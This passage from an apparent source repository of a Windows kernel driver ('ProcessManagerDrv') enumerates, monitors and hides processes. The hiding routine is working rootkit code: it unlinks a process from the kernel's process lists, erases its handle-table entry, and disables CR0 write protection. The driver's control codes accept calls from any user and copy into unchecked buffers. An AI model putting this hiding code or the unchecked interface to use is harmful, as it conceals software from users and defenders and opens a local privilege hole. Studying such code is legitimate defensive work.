(!NT_SUCCESS(status))\r\n\t{\r\n\t\tDbgPrint(\"PsLookupProcessByProcessId Error!\\n\");\r\n\t\treturn ;\r\n\t}\r\n\t\t\r\n\tTemp = (PLIST_ENTRY)((ULONG_PTR)Process + ActiveOffsetNext);\r\n\tDbgPrint(\"ID:%d %s\\r\\n\",*((ULONG_PTR*)((ULONG_PTR)Process + ProcessIdOfEprocess)),(char*)((ULONG_PTR)Process + ProcessImageNameOfEprocess));\r\n\tif (MmIsAddressValid(Temp))\r\n\t{\r\n\t\tRemoveEntryList(Temp);\r\n\t}\r\n\r\n if(Process)\r\n ObDereferenceObject(Process);\r\n\r\n return;\r\n}\r\n\r\n\r\nVOID EraseObjectFromHandleTable1(ULONG_PTR ProcessId)\r\n{\r\n\tPHANDLE_TABLE HandleTable = NULL; // 指向句柄表的指针 \r\n\tULONG_PTR uTableCode = 0; \r\n\tULONG uFlag = 0;\r\n\r\n\tif(PspCidTable == NULL)\r\n return;\r\n\r\n\tHandleTable = (PHANDLE_TABLE)(*(ULONG_PTR*)PspCidTable); \r\n\r\n\tif (HandleTable && MmIsAddressValid((PVOID)HandleTable))\r\n\t{\r\n\t\tuTableCode = (ULONG_PTR)(HandleTable->TableCode) & 0xFFFFFFFFFFFFFFFC;\r\n\t\tif (uTableCode && MmIsAddressValid((PVOID)uTableCode))\r\n\t\t{\r\n\t\t\tuFlag = (ULONG)(HandleTable->TableCode) & 0x03; //00 01 10 \r\n\t\t\tDbgPrint(\"Flag %d\",uFlag);\r\n\t\t\tswitch (uFlag)\r\n\t\t\t{\r\n\t\t\tcase 0:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable11(uTableCode,ProcessId);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\tcase 1:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable12(uTableCode,ProcessId);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\tcase 2:\r\n\t\t\t\t{\r\n\t\t\t\t\tEnumTable13(uTableCode,ProcessId);\r\n\t\t\t\t\tbreak; \r\n\t\t\t\t}\r\n\t\t\tdefault:\r\n\t\t\t\tKdPrint((\"TableCode error\\n\"));\r\n\t\t\t} \t\t\t\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n//uTableCode 已经清了最后两位\r\nNTSTATUS EnumTable11(ULONG_PTR uTableCode,ULONG_PTR ProcessId)\r\n{\r\n\tPVOID Object = NULL;\r\n\tPHANDLE_TABLE_ENTRY HandleTableEntry = NULL; \r\n\tULONG uIndex = 0;\r\n\tULONG_PTR ulOffset = 0;\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n case WINDOWS_XP:\r\n {\r\n ulOffset = 0x8;\r\n break;\r\n }\r\n#else\r\n case WINDOWS_7:\r\n {\r\n ulOffset = 0x10;\r\n break;\r\n }\r\n#endif\r\n default:\r\n return STATUS_INVALID_PARAMETER;\r\n\t}\r\n\r\n\tHandleTableEntry = (PHANDLE_TABLE_ENTRY)((ULONG_PTR)(*(ULONG_PTR*)uTableCode) + ulOffset); \r\n //xp offset 0x08 \r\n\t//Win7 offset 0x10\r\n\tfor (uIndex = 0;uIndex<511; uIndex++ ) \r\n\t{ \r\n\t\tif (MmIsAddressValid((PVOID)&(HandleTableEntry->NextFreeTableEntry)))\r\n\t\t{\r\n\t\t\tif (HandleTableEntry->NextFreeTableEntry==0)\r\n\t\t\t{\r\n\t\t\t\tif (HandleTableEntry->Object != NULL ) \r\n\t\t\t\t{ \r\n\t\t\t\t\tif (MmIsAddressValid(HandleTableEntry->Object))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tObject = (PVOID)(((ULONG_PTR)HandleTableEntry->Object) & 0xFFFFFFFFFFFFFFF8); //去掉低三位\r\n\t\t\t\t\t\tif(ClearPspCidTable((PEPROCESS)Object,ProcessId)==TRUE)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tWPOFF();\r\n\t\t\t\t\t\t\tmemset(HandleTableEntry,0,sizeof(HANDLE_TABLE_ENTRY));\r\n\t\t\t\t\t\t\tWPON();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tHandleTableEntry++; \r\n\t} \r\n\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\n\r\n\r\nNTSTATUS EnumTable12(ULONG_PTR uTableCode,ULONG_PTR ProcessId)\r\n{\r\n\tdo \r\n\t{ \r\n\t\tEnumTable11(uTableCode,ProcessId); \r\n\t\tuTableCode += sizeof(ULONG_PTR); \r\n\t} while (*(PULONG_PTR)uTableCode != 0 && MmIsAddressValid((PVOID)*(PULONG_PTR)uTableCode)); \r\n\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nNTSTATUS EnumTable13(ULONG_PTR uTableCode,ULONG_PTR ProcessId)\r\n{\r\n\tdo \r\n\t{ \r\n\t\tEnumTable12(uTableCode,ProcessId); \r\n\t\tuTableCode += sizeof(ULONG_PTR); \r\n\t} while (*(PULONG_PTR)uTableCode != 0); \r\n\r\n\treturn STATUS_SUCCESS; \r\n}\r\n\r\nBOOLEAN ClearPspCidTable(PEPROCESS Process, ULONG_PTR PrcessId)\r\n{\r\n\tKAPC_STATE ApcState;\r\n\tPPEB Peb = NULL;\r\n\tULONG_PTR ulProcessParamters = 0;\r\n\r\n\tif (Process && MmIsAddressValid((PVOID)Process) && KeGetObjectType((PVOID)Process) == (ULONG_PTR)*PsProcessType)\r\n\t{ \r\n\t\tif (!IsProcessDie(Process)&&\r\n\t\t\tNT_SUCCESS(ObReferenceObjectByPointer(Process, 0, NULL, KernelMode))) //因为要操作该对象所以增加引用计数\r\n\t\t{\r\n\t\t\tDbgPrint(\"PspCidTable ID:%d %s\\r\\n\",*((ULONG_PTR*)((ULONG_PTR)Process + ProcessIdOfEprocess)),(char*)((ULONG_PTR)Process + ProcessImageNameOfEprocess));\r\n\t\t\r\n\t\t\tif(PrcessId == *(ULONG_PTR*)((ULONG_PTR)Process + ProcessIdOfEprocess))\r\n\t\t\t{\r\n\t\t\t\treturn TRUE;\r\n\t\t\t}\r\n\t\t\tObfDereferenceObject(Process);\r\n\t\t}\r\n\t} \r\n\r\n\treturn FALSE;\r\n}\r\n\r\nVOID WPOFF()\r\n{\r\n\tULONG_PTR cr0 = 0;\r\n\tIrql = KeRaiseIrqlToDpcLevel();\r\n\tcr0 =__readcr0();\r\n\tcr0 &= 0xfffffffffffeffff;\r\n\t__writecr0(cr0);\r\n\t_disable(); \r\n}\r\nVOID WPON()\r\n{\r\n\tULONG_PTR cr0=__readcr0();\r\n\tcr0 |= 0x10000;\r\n\t_enable(); \r\n\t__writecr0(cr0);\r\n\tKeLowerIrql(Irql);\r\n}\r\n\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/HideProcess.h", "content": "#pragma once\r\n#include \"ProcessManagerDrv.h\"\r\n\r\nVOID RemoveNodeFromActiveProcessLinks(ULONG_PTR ProcessId);\r\n\r\nVOID WPOFF();\r\nVOID WPON();\r\n\r\nVOID EraseObjectFromHandleTable1(ULONG_PTR ProcessId);\r\nNTSTATUS EnumTable11(ULONG_PTR uTableCode,ULONG_PTR ProcessId);\r\nNTSTATUS EnumTable12(ULONG_PTR uTableCode,ULONG_PTR ProcessId);\r\nNTSTATUS EnumTable13(ULONG_PTR uTableCode,ULONG_PTR ProcessId);\r\n\r\nBOOLEAN ClearPspCidTable(PEPROCESS EProcess, ULONG_PTR PrcessId);" }, { "path": "ProcessManager/ProcessManagerDrv/MonitorWin7.c", "content": "#include \"MonitorWin7.h\"\r\n#include \"EnumProcess.h\"\r\nextern ERESOURCE Resource;\r\nextern KMUTEX Mutex;\r\nextern PKEVENT EventArray[3]; \r\nextern MSG Msg;\r\nextern BOOLEAN IsClear;\r\n\r\nNTSTATUS EventToKernelEvent(PULONG_PTR InputBuffer,ULONG_PTR InSize)\r\n{\r\n\tNTSTATUS Status = STATUS_SUCCESS;\r\n\tPULONG_PTR HandleArray = NULL;\r\n\tULONG i = 0;\r\n\tHandleArray = (PULONG_PTR)InputBuffer; //这里兼容32Bit 与 64 位\r\n\r\n\tfor (i=0;iCreationStatus = STATUS_UNSUCCESSFUL;\r\n\t\t\t}\r\n\r\n\t\t\tReleaseResource(&Resource);\r\n\r\n\t\t}\r\n\t\tKeReleaseMutex(&Mutex,\r\n\t\t\tFALSE);\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n\r\n//请求一个互斥资源\r\nFORCEINLINE\r\n\tVOID\r\n\tAcquireResourceExclusive(IN OUT PERESOURCE Resource)\r\n{\r\n\tASSERT(KeGetCurrentIrql() <= APC_LEVEL);\r\n\tASSERT(ExIsResourceAcquiredExclusiveLite(Resource) || !ExIsResourceAcquiredSharedLite(Resource));\r\n\r\n\tKeEnterCriticalRegion();\r\n\t(VOID)ExAcquireResourceExclusiveLite(Resource,TRUE);\r\n}\r\n\r\n\r\n//释放互斥资源\r\nFORCEINLINE\r\n\tVOID\r\n\tReleaseResource(IN OUT PERESOURCE Resource)\r\n{\r\n\tASSERT(KeGetCurrentIrql() <= APC_LEVEL);\r\n\tASSERT(ExIsResourceAcquiredExclusiveLite(Resource) || ExIsResourceAcquiredSharedLite(Resource));\r\n\r\n\tExReleaseResourceLite(Resource);\r\n\tKeLeaveCriticalRegion();\r\n}\r\n\r\n\r\n\r\nVOID DestroyResource()\r\n{\r\n\r\n\tULONG i = 0;\r\n\tif (IsClear==FALSE)\r\n\t{\r\n\t\tExDeleteResourceLite(&Resource);\r\n\r\n\r\n\t\tfor (i=0;i<3;i++)\r\n\t\t{\r\n\t\t\tif (EventArray[i]!=NULL)\r\n\t\t\t{\r\n\t\t\t\tObDereferenceObject(EventArray[i]);\r\n\r\n\t\t\t\tEventArray[i] = NULL;\r\n\t\t\t}\r\n\t\t}\r\n\r\n#ifdef _WIN64\r\n\t\tPsSetCreateProcessNotifyRoutineEx(ProcessCallBackWin7,TRUE); \r\n#else\r\n\r\n#endif\r\n\r\n\t\tIsClear = TRUE;\r\n\t}\r\n\r\n\r\n\r\n}\r\n\r\n\r\n" }, { "path": "ProcessManager/ProcessManagerDrv/MonitorWin7.h", "content": "#pragma once\r\n#include \"Common.h\"\r\n#include \"ProcessManagerDrv.h\"\r\n\r\n\r\n\r\nNTSTATUS EventToKernelEvent(PULONG_PTR InputBuffer,ULONG_PTR InSize);\r\nNTSTATUS RegisterProcessFilter();\r\n\r\n\r\nVOID\r\n\tProcessCallBackWin7(PEPROCESS EProcess,HANDLE ProcessId,PPS_CREATE_NOTIFY_INFO CreateInfo);\r\n\r\n\r\n\r\nFORCEINLINE\r\n\tVOID\r\n\tAcquireResourceExclusive(IN OUT PERESOURCE Resource);\r\nFORCEINLINE\r\n\tVOID\r\n\tReleaseResource(IN OUT PERESOURCE Resource);\r\n\r\nVOID DestroyResource();" }, { "path": "ProcessManager/ProcessManagerDrv/ProcessManagerDrv.c", "content": "#ifndef CXX_PROCESSMANAGERRING0_H\r\n#\tinclude \"ProcessManagerDrv.h\"\r\n#include \"EnumProcess.h\"\r\n#include \"HideProcess.h\"\r\n#include \"MonitorWin7.h\"\r\n#endif\r\n\r\n\r\nWIN_VERSION WinVersion = WINDOWS_UNKNOW;\r\nULONG_PTR ProcessIdOfEprocess = 0;\r\nULONG_PTR ProcessImageNameOfEprocess = 0;\r\nULONG_PTR ObjectTableOffsetOf_EPROCESS = 0;\r\n\r\n\r\nULONG_PTR ulProcessParametersOfPeb = 0;\r\nULONG_PTR ulImagePathNameOfProcessParameters = 0;\r\n\r\n\r\nULONG_PTR Active_List = 0;\r\n\r\nULONG_PTR ObjectHeaderSize = 0;\r\nULONG_PTR ObjectTypeOffsetOf_Object_Header =0;\r\n\r\nULONG_PTR PebOfEProcess = 0;\r\nULONG_PTR FatherOfEprocess = 0;\r\n\r\nULONG_PTR PspCidTable = 0;\r\n\r\nPEPROCESS g_SystemProcess = NULL;\r\nMSG Msg = {0};\r\nPKEVENT EventArray[3] = {0}; \r\n\r\nERESOURCE Resource;\r\nKMUTEX Mutex;\r\n\r\nBOOLEAN IsClear = FALSE;\r\nNTSTATUS\r\nDriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING pRegistryString)\r\n{\r\n\tNTSTATUS\t\tstatus = STATUS_SUCCESS;\r\n\tUNICODE_STRING ustrLinkName;\r\n\tUNICODE_STRING ustrDevName; \r\n\tPDEVICE_OBJECT pDevObj;\r\n\tint i = 0;\r\n\r\n\tfor (i=0;iMajorFunction[i] = DefaultPassThrough;\r\n\t}\r\n\tDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl;\r\n\r\n\t// Unload routine\r\n\tDriverObject->DriverUnload = DriverUnload;\r\n\r\n\t// Initialize the device name.\r\n\tRtlInitUnicodeString(&ustrDevName, DEVICE_NAME);\r\n\r\n\t// Create the device object and device extension\r\n\tstatus = IoCreateDevice(DriverObject, \r\n\t\t\t\t0,\r\n\t\t\t\t&ustrDevName, \r\n\t\t\t\tFILE_DEVICE_UNKNOWN,\r\n\t\t\t\t0,\r\n\t\t\t\tFALSE,\r\n\t\t\t\t&pDevObj);\r\n\r\n\tif(!NT_SUCCESS(status))\r\n\t{\r\n\t\tDbgPrint(\"[ProcessManagerDrv] Error, IoCreateDevice = 0x%x\\r\\n\", status);\r\n\t\treturn status;\r\n\t}\r\n\r\n\tRtlInitUnicodeString(&ustrLinkName,LINK_NAME);\r\n\r\n\t// Create a symbolic link to allow USER applications to access it. \r\n\tstatus = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); \r\n\t\r\n\tif(!NT_SUCCESS(status))\r\n\t{\r\n\t\tDbgPrint(\"[ProcessManagerDrv] Error, IoCreateSymbolicLink = 0x%x\\r\\n\", status);\r\n\t\t\r\n\t\tIoDeleteDevice(pDevObj); \r\n\t\treturn status;\r\n\t}\t\r\n\r\n\tWinVersion = GetWindowsVersion();\r\n\tswitch(WinVersion)\r\n\t{\r\n#ifdef _WIN32\r\n\tcase WINDOWS_XP:\r\n\t\t{\r\n\t\t\tProcessIdOfEprocess = 0x84;\r\n\t\t\tProcessImageNameOfEprocess = 0x174;\r\n\r\n\t\t\tObjectTableOffsetOf_EPROCESS = 0x200;\r\n\t\t\t\r\n\t\t\tulProcessParametersOfPeb = 0x10;\r\n\t\t\tulImagePathNameOfProcessParameters = 0x38;\r\n\r\n\t\t\tObjectHeaderSize = 0x18;\r\n\t\t\tObjectTypeOffsetOf_Object_Header = 0x8;\r\n\r\n\t\t\tActive_List = 0x88;\r\n\r\n\t\t\tPebOfEProcess = 0x1b0;\r\n\r\n\t\t\tFatherOfEprocess = 0x14c;\r\n\t\t\tbreak;\r\n\t\t}\r\n#else\r\n\tcase WINDOWS_7:\r\n\t\t{\r\n\t\t\tProcessIdOfEprocess = 0x180;\r\n\t\t\tProcessImageNameOfEprocess = 0x2e0;\r\n\t\t\tObjectTableOffsetOf_EPROCESS = 0x200;\t\t\r\n\r\n\t\t\tulProcessParametersOfPeb = 0x020;\r\n\t\t\tulImagePathNameOfProcessParameters = 0x060;\r\n\t\t\tActive_List = 0x188;\r\n\r\n\t\t\tObjectHeaderSize = 0x30;\r\n\t\t\t\r\n\t\t\tPebOfEProcess = 0x338;\r\n\t\t\tFatherOfEprocess = 0x290; \r\n\t\t\tbreak;\r\n\r\n\t\t}\r\n#endif\r\n default:\r\n return STATUS_NOT_SUPPORTED;\r\n\t}\r\n\r\n\tPspCidTable = GetPspCidTableAddress();\r\n\tg_SystemProcess = PsGetCurrentProcess();\r\n\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\nVOID\r\nDriverUnload(IN PDRIVER_OBJECT DriverObject)\r\n{\t\r\n\tUNICODE_STRING uniLinkName;\r\n\tPDEVICE_OBJECT CurrentDeviceObject;\r\n\tPDEVICE_OBJECT NextDeviceObject;\r\n\r\n\tRtlInitUnicodeString(&uniLinkName,LINK_NAME);\r\n\r\n\tIoDeleteSymbolicLink(&uniLinkName);\r\n\r\n\tif (DriverObject->DeviceObject!=NULL)\r\n\t{\r\n\t\tCurrentDeviceObject = DriverObject->DeviceObject;\r\n\r\n\t\twhile(CurrentDeviceObject!=NULL)\r\n\t\t{\r\n\t\t\tNextDeviceObject = CurrentDeviceObject->NextDevice;\r\n\t\t\tIoDeleteDevice(CurrentDeviceObject);\r\n\r\n\t\t\tCurrentDeviceObject = NextDeviceObject;\r\n\t\t}\r\n\r\n\t}\r\n\tDestroyResource();\r\n\treturn;\r\n}\r\n\r\n\r\n\r\n\r\nNTSTATUS \r\nDispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP pIrp)\r\n{\r\n\tNTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;\t // STATUS_UNSUCCESSFUL\r\n\tPIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);\r\n\tULONG uIoControlCode = 0;\r\n\tPVOID InputBuffer\t\t\t = NULL;\r\n\tPVOID OutputBuffer = NULL;\r\n\tULONG uInSize = 0;\r\n\tULONG uOutSize = 0;\r\n\r\n\t// Get the IoCtrl Code\r\n\tuIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;\r\n\r\n\tInputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer;\r\n\tuInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;\r\n\tuOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\tOutputBuffer = pIrp->UserBuffer;\r\n\r\n\t\tDbgPrint(\"[ProcessManagerRing0jjjjjj]!\\r\\n\");\r\n\tswitch(uIoControlCode)\r\n\t{\r\n\t\tcase CTL_ENUMPROCESSBYOPENPROCESS:\r\n\t\t\t{\t\t\t\r\n\t\t\t\tDbgPrint(\"[ProcessManagerDrv] EnumByOpen\\r\\n\");\r\n\t\t\t\t\r\n\t\t\t\tif (!MmIsAddressValid(OutputBuffer))\r\n\t\t\t\t{\r\n\t\t\t\t\tpIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t__try\r\n\t\t\t\t{\r\n\t\t\t\t\tProbeForWrite(OutputBuffer,uOutSize,sizeof(PVOID));\r\n\t\t\t\t\tstatus = EnumProcessByOpenProcess((PVOID)OutputBuffer,uOutSize); \r\n\t\t\t\t\tpIrp->IoStatus.Information = 0; \r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcase CTL_ENUMPROCESSACTIVELIST:\r\n\t\t\t{\r\n\t\t\t\tDbgPrint(\"[ProcessManagerDrv] EnumByProcessActiveList!\\r\\n\");\r\n\r\n\t\t\t\tif (!MmIsAddressValid(OutputBuffer))\r\n\t\t\t\t{\r\n\t\t\t\t\tpIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t__try\r\n\t\t\t\t{\r\n\t\t\t\t\tProbeForWrite(OutputBuffer,uOutSize,sizeof(PVOID));\r\n\t\t\t\t\tstatus = EnumProcessByActiveList((PPROCESS_INFORMATION_OWN)OutputBuffer,uOutSize);\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0; \r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcase CTL_ENUMPROCESSPSPCIDTABLE:\r\n\t\t\t{\r\n\t\t\t\tDbgPrint(\"[ProcessManagerDrv] EnumByPspCidTable!\\r\\n\");\r\n\r\n\t\t\t\tif (!MmIsAddressValid(OutputBuffer))\r\n\t\t\t\t{\r\n\t\t\t\t\tpIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\t__try\r\n\t\t\t\t{\r\n\t\t\t\t\tProbeForWrite(OutputBuffer,uOutSize,sizeof(PVOID));\r\n\t\t\t\t\tstatus = EnumProcessByPspCidTable((PPROCESS_INFORMATION_OWN)OutputBuffer,uOutSize);\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0; \r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcase CTL_HIDEPROCESS:\r\n\t\t\t{\r\n\t\t\t\t__try\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\t\tRemoveNodeFromActiveProcessLinks((ULONG_PTR)InputBuffer);\r\n\r\n\t\t\t\t\t\tDbgPrint(\"[ProcessManagerDrv]RemovePspCidTable!\\r\\n\");\r\n\r\n\t\t\t\t\t\tDbgPrint(\"2!\\n\");\r\n\r\n\t\t\t\t\t\tEraseObjectFromHandleTable1((ULONG_PTR)InputBuffer);\r\n\t\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_SUCCESS;\t\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\r\n\t\t\t\t\tDbgPrint(\"NO\\r\\n\");\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\t\t\t\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\r\n\r\n\t\t\t\r\n\t\t\t}\r\n\t\tcase CTL_MONITORPROCESS:\r\n\t\t\t{\r\n\t\t\t\tKeInitializeMutant(&Mutex,0);\r\n\t\t\t\tExInitializeResourceLite(&Resource); //ʼһԴֹ ̸ DriverEntryгʼ\r\n\t\t\t\tIsClear = FALSE;\r\n\t\t\t\t__try{\r\n\t\t\t\t\tDbgPrint(\"Jion\");\r\n\t\t\t\t\tif (InputBuffer!=NULL&&uInSize==sizeof(ULONG_PTR)*3)\r\n\t\t\t\t\t{\t\t\r\n\t\t\t\t\t\tDbgPrint(\"us\");\r\n\t\t\t\t\t\tstatus = EventToKernelEvent((PULONG_PTR)InputBuffer,uInSize/sizeof(ULONG_PTR));\r\n\r\n\t\t\t\t\t\tif (!NT_SUCCESS(status))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif(WinVersion==WINDOWS_7)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tstatus = RegisterProcessFilter();\r\n\t\t\t\t\t\t\tif (!NT_SUCCESS(status))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tDbgPrint(\"gg\");\r\n\t\t\t\t\t\t\t\tDestroyResource();\r\n\t\t\t\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\t\t\t\tstatus = pIrp->IoStatus.Status = status;\r\n\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse if(WinVersion == WINDOWS_XP)\r\n\t\t\t\t\t\t{\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\t\t\t\t\tDbgPrint(\"No Set\");\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tDbgPrint(\"madan?\");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcase CTL_GETRPROCESSINFOR:\r\n\t\t\t{\r\n\t\t\t\t__try{\r\n\t\t\t\t\r\n\t\t\t\t\tDbgPrint(\"Print\");\r\n\t\t\t\t\tmemcpy(OutputBuffer,&Msg,sizeof(MSG));\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t}\r\n\t\t\t\t__except(EXCEPTION_EXECUTE_HANDLER)\r\n\t\t\t\t{\r\n\t\t\t\t\tDbgPrint(\"No Get\");\r\n\t\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tcase CTL_SUSMONITOR:\r\n\t\t\t{\r\n\t\t\t\tDestroyResource();\r\n\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\tstatus = pIrp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\r\n\t\tdefault:\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\tpIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tpIrp->IoStatus.Information = 0;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t}\r\n\r\n\tIoCompleteRequest(pIrp,IO_NO_INCREMENT);\r\n\treturn status;\r\n}\r\n\r\n\r\n\r\nNTSTATUS\r\n\tDefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)\r\n{\r\n\tIrp->IoStatus.Information = 0;\r\n\tIrp->IoStatus.Status = STATUS_SUCCESS;\r\n\tIoCompleteRequest(Irp,IO_NO_INCREMENT);\r\n\treturn STATUS_SUCCESS;\r\n}" }, { "path": "ProcessManager/ProcessManagerDrv/ProcessManagerDrv.h", "content": "/***************************************************************************************\r\n* AUTHOR : LycorisGuard\r\n* DATE : 2018-1-20\r\n* MODULE : ProcessManagerDrv.H\r\n****************************************************************************************/\r\n\r\n#ifndef CXX_PROCESSMANAGERRING0_H\r\n#define CXX_PROCESSMANAGERRING0_H\r\n\r\n#include \r\n#include \r\n#include \"Common.h\"\r\n\r\n\r\n#define DEVICE_NAME L\"\\\\Device\\\\ProcessManagerDeviceName\"\r\n#define LINK_NAME L\"\\\\DosDevices\\\\ProcessManagerLinkName\"\r\n\r\n#define CTL_ENUMPROCESSBYOPENPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n#define CTL_ENUMPROCESSACTIVELIST \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x831,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_ENUMPROCESSPSPCIDTABLE \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x832,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n//Òþ²Ø½ø³Ì\r\n#define CTL_HIDEPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x833,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n\r\n\r\n//½ø³Ì¼à¿Ø\r\n#define CTL_MONITORPROCESS \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x834,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_GETRPROCESSINFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x835,METHOD_NEITHER,FILE_ANY_ACCESS)\r\n#define CTL_SUSMONITOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x836,METHOD_NEITHER,FILE_ANY_ACCESS)\r\ntypedef struct _MSG_\r\n{\r\n\tULONG ulCreate;\r\n\tWCHAR wzProcessPath[512];\r\n}MSG,*PMSG;\r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, 